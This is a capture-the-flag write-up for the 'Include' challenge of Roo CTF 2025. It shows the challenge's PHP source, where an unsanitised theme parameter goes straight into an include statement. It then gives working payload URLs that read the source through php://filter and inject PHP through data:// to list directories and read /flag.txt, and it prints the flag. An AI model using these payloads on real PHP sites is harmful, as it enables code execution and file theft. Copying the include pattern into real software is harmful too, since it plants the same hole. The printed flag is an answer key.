Roo CTF 2025: Include (tuxops)
title: “include” date: “2025-10-25” author: “TechnoDot (technodot)” description: “imported”
TechnoDot, mrnullone
Given the URL https://include.cyberroos.org, find the flag.
Navigating to the URL, we are greeted with a simple page that switches themes. We see that the theme is conveyed by a get parameter in the URL, between the themes light and dark. Opening up DevTools, we see that the X-Powered-By header is PHP/8.0.30, shining a light onto how we proceed. Attempting to set a non-existent theme (such as ?theme=flag) results in no styling at all. Examining the page source, we see that the style has a PHP error in it.
<style><br /> <b>Warning</b>: include(flag.php): Failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>8</b><br /> <br /> <b>Warning</b>: include(): Failed opening 'flag.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/index.php</b> on line <b>8</b><br /> </style> |
|---|
We see that the theme is retrieved with an include keyword, that the .php extension is appended on the end, and that input is not properly handled. Let us try retrieving index.php itself in order to analyze the code better: ?theme=index
<html> <head> <style> <html> <head> <style> <html> <head> <style>... |
|---|
index.php references itself recursively. In order to circumvent that, we can have PHP return index.php encoded in base64, allowing us to understand the logic behind the theme switcher: ?theme=php://filter/convert.base64-encode/resource=index
Boom. The entire index.php file is returned within the <style> tag as a base64 string. Now all we need to do is remove the style tags and decode with any various online base64 tool.
<html> <head> <?php echo '<style>'; $theme = isset($_GET['theme']) ? $_GET['theme'] : 'light'; $togo = $theme === 'dark' ? 'light' : 'dark'; include $theme.'.php'; echo '</style>' ; ?> </head> <body> <h1>Themes</h1> <div class="box"> <h2>Light / Dark Theme <span> <form> <a href="/?theme=<?php echo $togo ?>"><?php echo $togo ?> Theme</a> </form> </span> </h2> <p>Lorem ipsum dolor sit amet consectetur adipisicing elit</p> </div> </body> </html> |
|---|
We confirm that there is ZERO input sanitization whatsoever. Now, we begin to list the filesystem to learn about the structure and find the flag. We can do this by injecting PHP and prefixing it with data://text/plain,.
<?php echo '/* '; foreach(scandir("/var/www/html/") as $f){echo $f." ";} echo '*/'; ?> Encoded as a URL:https://include.cyberroos.org/?theme=data://text/plain,<%3Fphp%20echo%20%27%2F%2A%0A%27%3B%20foreach%28scandir%28"%2Fvar%2Fwww%2Fhtml%2F"%29%20as%20%24f%29%7Becho%20%24f."%0A"%3B%7D%20echo%20%27%2A%2F%27%3B%20%3F> <style>/* . .. dark.php index.php light.php php.ini */.php</style> |
|---|
We can see that the flag isn’t in the same directory as index.php. Let’s try the root directory:
<?php echo '/* '; foreach(scandir("/") as $f){echo $f." ";} echo '*/'; ?> Encoded as a URL:https://include.cyberroos.org/?theme=data://text/plain,<%3Fphp%20echo%20%27%2F%2A%0A%27%3B%20foreach%28scandir%28"%2F"%29%20as%20%24f%29%7Becho%20%24f."%0A"%3B%7D%20echo%20%27%2A%2F%27%3B%20%3F> <style>/* . .. .dockerenv bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var */.php</style> |
|---|
Bingo. flag.txt. Lastly, to retrieve the file, we perform one last injection:
<?php echo '/* '; @readfile('/flag.txt'); ?> Encoded as an URL: https://include.cyberroos.org/?theme=data://text/plain,<?php%20echo%20%27/*%20%27;%20@readfile(%27%2Fflag.txt%27);%20?> <style>/* roo{rf1_1nj3ct10n_g0d} .php</style> |
|---|